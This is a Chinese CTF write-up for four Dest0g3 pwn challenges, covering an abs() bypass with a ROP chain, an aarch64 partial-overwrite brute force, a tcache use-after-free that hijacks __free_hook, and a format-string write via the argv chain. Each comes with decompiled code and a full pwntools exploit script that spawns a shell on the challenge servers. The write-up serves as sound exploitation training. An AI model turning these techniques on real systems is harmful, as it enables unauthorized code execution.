[Dest0g3 pwn] ez_pwn,ea_aarch,dest_love,ezuaf

这回的pwn都用的高版本libc,各网站上一般都是2.23,2.27以前几年的题,高版本的很少,所以练了半天还不大会,只作了4个简单点的。另外两个已经弄到任意写了,但没找着往哪写管用放弃了。

目录

ez_pwn

ea_aarch

ezuaf

dest_love


ez_pwn

题目用到了abs,和scanf两个觉绕过,可以增加数据然后返回和,内存里本身是有残留的,在只输入减号(-)时scanf不修改返回内容,也就会把残留内容输出。导致泄露。另外abs对-1的处理会异至还是负1,可以绕过检查写越界。

int hackme()
{
  int v1[10]; // [esp+4h] [ebp-44h] BYREF
  unsigned int v2; // [esp+2Ch] [ebp-1Ch] BYREF
  int v3; // [esp+30h] [ebp-18h] BYREF
  unsigned int v4; // [esp+34h] [ebp-14h]
  unsigned int i; // [esp+38h] [ebp-10h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = 0;
  v4 = 0;
  puts("input the length of array:");
  __isoc99_scanf("%d", &v2);
  if ( (int)abs32(v2) > 10 )    //输入-1里,负数作abs32溢出,结果还是负数
  {
    puts("array is too long!");
    exit(0);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      puts("\n\n----------------------------------------------------");
      puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");
      puts("----------------------------------------------------\n");
      puts("input your choice:");
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      if ( v4 )
        printf("avg = %d\n", v6 / v4);
      else
        puts("no avg!\n");
    }
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      if ( v4 >= v2 )
      {
        puts("array is too long!");
        exit(0);
      }
      puts("input num");
      __isoc99_scanf("%d", &v1[v4++]);   //当仅输入-时不给v1赋值,保留残留
    }
    else
    {
      if ( v3 != 2 )
        break;
      v6 = 0;
      for ( i = 0; v4 > i; ++i )
        v6 += v1[i];
      printf("sum = %d\n", v6);
    }
  }
  puts("exit!");
  return 0;
}

看似简单,一联网发现残留不同,版本找不着都。脑瓜子嗡嗡的。后来终于找到个libc database库,这里有libc可以查到  libc.rip 这个是在bing.com里搜到了。把默认搜索从百度改到bing.com了。

思路就是先输入-1,可以一直写,到ret的位置写ROP puts(got.puts) 再返回程序。得到libc地址。

第二次回来同样写ROP system(bin_sh)

from pwn import *

'''
patchelf --set-interpreter /home/shi/pwn/libc6-i386_2.27-3u1/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so pwn
'''

local = 0
if local == 1:  #local
    p = process('./ez_pwn')
else:           #remote
    p = remote('node4.buuoj.cn', 29862) 

elf = ELF('./ez_pwn')
context(arch = 'i386')

'''
0020| 0xffbf0354 --> 0x0 
0024| 0xffbf0358 --> 0x0 
0028| 0xffbf035c --> 0x0 
0032| 0xffbf0360 --> 0xf7f62000 --> 0x1d4d6c 
0036| 0xffbf0364 --> 0x0 
0040| 0xffbf0368 --> 0xffbf03a8 --> 0x0 
0044| 0xffbf036c --> 0xf7dfaf25 (<setbuf+21>:	add    esp,0x1c)
0048| 0xffbf0370 --> 0xf7f62ce0 --> 0xfbad2087   std_err
0052| 0xffbf0374 --> 0x0 
0056| 0xffbf0378 --> 0x2000 ('')

0060| 0xffbf037c --> 0xffffffff 
0064| 0xffbf0380 --> 0x2 
0068| 0xffbf0384 --> 0x4 
0072| 0xffbf0388 --> 0x4 
0076| 0xffbf038c --> 0xf7f62000 --> 0x1d4d6c 
0080| 0xffbf0390 --> 0xf7f62ce0 --> 0xfbad2087 
0084| 0xffbf0394 --> 0x804c000 --> 0x804bf08 ('X' <repeats 200 times>...)
0088| 0xffbf0398 --> 0xffbf03a8 --> 0x0 
0092| 0xffbf039c --> 0x804946d (<main+101>:	mov    eax,0x0)   RET
0096| 0xffbf03a0 --> 0xffbf03c0 --> 0x1 
0100| 0xffbf03a4 --> 0x0 
0104| 0xffbf03a8 --> 0x0 
0108| 0xffbf03ac --> 0xf7da5e81 (<__libc_start_main+241>:	add    esp,0x10)  RET
'''


menu = b"input your choice:\n"
def add(v):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"input num\n", v.encode())

def get():
    p.sendlineafter(menu, b'2')


p.sendlineafter(b"input the length of array:\n", b'-1')

context.log_level='debug'

#libc

for i in range(18):
    add('-')

add(str(elf.plt['puts']))
add(str(0x8049408))
add(str(elf.got['puts']))
p.sendlineafter(menu, b'4')

p.recvline()
leak = u32(p.recv(4))
print(hex(leak))

libc_base = leak - 0x67560
system = libc_base + 0x3cf10
bin_sh = libc_base + 0x17b9db
print(hex(libc_base))
pause()
p.sendlineafter(b"input the length of array:\n", b'-1')

for i in range(18):
    add('-')

add(str(system -0x100000000))
add(str(0x8049408))
add(str(bin_sh - 0x100000000))
p.sendlineafter(menu, b'4')

p.interactive()

ea_aarch

以前没作可arm64的题,网上搜了下栈结构,硬着头皮作,毕竟只是个溢出到后门没难度。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sub_8EC();
  func();
  return 0;
}
__int64 func()
{
  puts("It's just a easy stack overflow.");
  return fun2();
}
__int64 fun2()
{
  char buf; // [xsp+10h] [xbp+10h] BYREF

  puts("Please leave your name:");
  read(0, &buf, 0x30uLL);              #对0x10写0x30溢出
  return puts("OK, you can exploit it now.");
}
__int64 backdoor()   #093c
{
  puts("OK, you get it !");
  return system("/bin/sh");
}

由于PIE已经打开,加载地址是随机的,但后一个半字节是固定的只需要写栈溢出到返回地址,把返回地址的尾地址改为后门,然后就听天由命了,比较16次就能成功一次概率很高。

aarch没有rbp和canary,所以溢出地址直接用buf的偏移,由于没有rbp,ida里显示的是xbp+的地址,并不显示距离ret的地址,需要在汇编里看buf的偏移-0x20

.text:0000000000000968                               fun2                                    ; CODE XREF: func+14↓p
.text:0000000000000968
.text:0000000000000968                               var_30= -0x30
.text:0000000000000968                               buf= -0x20
.text:0000000000000968
.text:0000000000000968                               ; __unwind {
.text:0000000000000968 FD 7B BD A9                   STP             X29, X30, [SP,#var_30]!
.text:000000000000096C FD 03 00 91                   MOV             X29, SP
.text:0000000000000970 00 00 00 90 00 A0 2A 91       ADRL            X0, aPleaseLeaveYou     ; "Please leave your name:"
.text:0000000000000978 92 FF FF 97                   BL              .puts
.text:0000000000000978
.text:000000000000097C E0 43 00 91                   ADD             X0, SP, #0x30+buf
.text:0000000000000980 02 06 80 52                   MOV             W2, #0x30 ; '0'         ; nbytes
.text:0000000000000984 E1 03 00 AA                   MOV             X1, X0                  ; buf
.text:0000000000000988 00 00 80 52                   MOV             W0, #0                  ; fd
.text:000000000000098C 91 FF FF 97                   BL              .read
.text:000000000000098C
.text:0000000000000990 00 00 00 90 00 00 2B 91       ADRL            X0, aOkYouCanExploi     ; "OK, you can exploit it now."
.text:0000000000000998 8A FF FF 97                   BL              .puts
.text:0000000000000998
.text:000000000000099C 1F 20 03 D5                   NOP
.text:00000000000009A0 FD 7B C3 A8                   LDP             X29, X30, [SP+0x30+var_30],#0x30
.text:00000000000009A4 C0 03 5F D6                   RET
.text:00000000000009A4                               ; } // starts at 968
from pwn import *

context(arch='aarch64', log_level='debug')

payload = p64(0)*5 + b'\x44\x09'

while True:
    p = remote('node4.buuoj.cn', 29261)
    p.sendafter(b"Please leave your name:\n", payload)
    p.recvline()
    d = p.recvline(timeout=0.5)
    print("D:",d)
    if b'OK, you get it !' in d:
        p.interactive()
        break
    else:
        p.close()

ezuaf

这到里就开始是堆题了,不过这个只是libc的问题,还好这个没有卡的地址。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-114h]

  sub_11C5(a1, a2, a3);
  while ( 1 )
  {
    menu();
    v3 = get_n();
    switch ( v3 )
    {
      case 1:
        m1add();                                // 15
        break;
      case 2:
        m2edit();
        break;
      case 3:
        m3free();                               // UAF
        break;
      case 4:
        m4show();
        break;
      default:
        puts("Invaild Choice!");
        break;
    }
  }
}
void m3free()
{
  unsigned int n; // [rsp+Ch] [rbp-4h]

  puts("Please tell me the index: ");
  n = get_n();
  if ( qword_40C0[n] && n <= 0xF )
    free((void *)qword_40C0[n]);    //free未清理指针UAF
  else
    puts("Invalid Index!");
}

1,由于能建80的块,所以释放7次就填满tcache再释放就进入unsort然后show得到libc地址,

2,但是址地址由于加了magic用起来麻烦点,第2步将获取的带magic的堆地址与0xc0异或得到加密后的tcache里的地址。用fastbin attack将块建到tcache这里的地址不但不加密而且可以直接访问

3,在tcache里写入free_hook再将system写入system即可

from pwn import *

'''
patchelf --set-interpreter /home/xxx/libc6_2.33-0ubuntu5/lib64/ld-2.33.so ezuaf
patchelf --add-needed /home/xxx/libc6_2.33-0ubuntu5/lib64/libc.so.6 ezuaf
'''

local = 0
if local == 1:
    p = process('./ezuaf')
    libc_elf = ELF('/home/xxx/libc6_2.33-0ubuntu5/lib64/libc.so.6')
else:
    p = remote('node4.buuoj.cn', 27950) 
    libc_elf = ELF('./libc6_2.33-0ubuntu2_amd64.so')
    #libc_elf = ELF('./libc6_2.32-0ubuntu6_amd64.so')


elf = ELF('./ezuaf')
context.arch = 'amd64'
context.log_level = 'debug'

menu = b': '
def add(size, msg=b'A'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Please tell me its size: \n", str(size).encode())
    p.sendafter(b"Content: ", msg)

def edit(idx, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())
    p.sendlineafter(b"Please tell me its content: \n", msg)

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())


for i in range(8):
    add(0x80, (p64(0)+p64(0x91))*6)

add(0x70) #8

for i in range(8,-1,-1):
    free(i)

show(1)
heap_addr = u64(p.recv(8))
print('heap:', hex(heap_addr))
show(0)
libc_addr = u64(p.recv(8)) -0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_addr
print('libc:', hex(libc_addr))

pause()

heap_base = heap_addr ^ 0x3c0
edit(1, p64(heap_base ^ 0xc0))


add(0x80, b'AAAAAAAA') #8
add(0x80, b'\x20')     #10
show(10)
heap_true = u64(p.recv(8)) - 0x720
magic = heap_true ^ heap_base
print('magic:', hex(magic))

edit(10, p64(libc_elf.sym['__free_hook']))
add(0x70, p64(libc_elf.sym['system'])) #11
add(0x18, b'/bin/sh\x00')  #12

free(12)
p.interactive()
#gdb.attach(p)
#pause()

dest_love

格式化字符串漏洞,格式化字符串就那么几种,最简单的输入串在栈内,这样的可以直接输入地址,然后以这个为指针去写,加大点难度的就是串在bss里,这时栈里没有指针,就得通过rbp链来改。再难点没有rbp链的情况(没有多余的从层函数调用)就指指向argv的地址,其实跟rbp相似只是更远一点。

这个题就是第3种

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 i; // [rsp+0h] [rbp-10h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  for ( i = 0LL; i <= 5; ++i )
  {
    puts("What about your love to Dest0g3?");
    read(0, format, 0x40uLL);          //format在bss ,而且在main里操作没有rbp链
    printf(format);
  }
  if ( dword_4010 == 1314520 )         //有后门免去rop或者hook
  {
    puts("I can feel your love!");
    system("/bin/sh");
  }
  else
  {
    puts("Your dont love Dest0g3 at all!");
  }
  return 0LL;
}

先找argv的指针,改为指向bss地址再将这个当指针改后门

from pwn import *

'''
0000| 0x7ffe8a1dee30 --> 0x0 
0008| 0x7ffe8a1dee38 --> 0x210b9cb6bcc3d600 
0016| 0x7ffe8a1dee40 --> 0x0 
0024| 0x7ffe8a1dee48 --> 0x7fc05b7c7565 (<__libc_start_main+213>:	mov    edi,eax)
0032| 0x7ffe8a1dee50 --> 0x7ffe8a1def38 --> 0x7ffe8a1e039f --> 0x530065766f6c2f2e ('./love')
0040| 0x7ffe8a1dee58 --> 0x18a1ee000 
0048| 0x7ffe8a1dee60 --> 0x5646a0123185 (push   rbp)                          #12
0056| 0x7ffe8a1dee68 --> 0x7ffe8a1df259 --> 0x210b9cb6bcc3d6c1 
0064| 0x7ffe8a1dee70 --> 0x5646a0123270 (push   r15)
0072| 0x7ffe8a1dee78 --> 0x4e8b1024fd8c3899 
0080| 0x7ffe8a1dee80 --> 0x5646a01230a0 (xor    ebp,ebp)
0088| 0x7ffe8a1dee88 --> 0x0 
0096| 0x7ffe8a1dee90 --> 0x0 
0104| 0x7ffe8a1dee98 --> 0x0 
0112| 0x7ffe8a1deea0 --> 0xb176041f212c3899 
0120| 0x7ffe8a1deea8 --> 0xb10ba6dc17b83899 
0128| 0x7ffe8a1deeb0 --> 0x0 
0136| 0x7ffe8a1deeb8 --> 0x0 
0144| 0x7ffe8a1deec0 --> 0x0 
0152| 0x7ffe8a1deec8 --> 0x1 
0160| 0x7ffe8a1deed0 --> 0x7ffe8a1def38 --> 0x7ffe8a1e039f --> 0x530065766f6c2f2e ('./love')  #26 ef38-ee60
0168| 0x7ffe8a1deed8 --> 0x7ffe8a1def48 --> 0x7ffe8a1e03a6 ("SHELL=/bin/bash")
'''

#p = process('./love')
p = remote('node4.buuoj.cn', 26210)

context(arch='amd64', log_level='debug')


#1 leak
p.sendlineafter(b"What about your love to Dest0g3?\n",b'%12$p,%26$p,%39$p,')
pwn_base = int(p.recvuntil(b',', drop=True), 16) - 0x1185
stack    = int(p.recvuntil(b',', drop=True), 16) - 0xd8
offset   = 27 + 12
print(hex(pwn_base), hex(stack), offset)

#2 26->39->12
last_2 = stack & 0xffff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%26$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')

#3 39-> #12-> base+0x4010
last_2 = (pwn_base+0x4010) &0xffff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%{offset}$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')

#4 12-> key = 140ed8
last_2 = 0xed8
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%12$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')

# offset-> #11-> base+0x4012
last_2 = (pwn_base+0x12) &0xff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%{offset}$hhn END'.encode())
p.recvuntil(b'END')

# 11-> key = 140ed8
last_2 = 0x14
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%12$hhn END'.encode())
p.recvuntil(b'END')

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值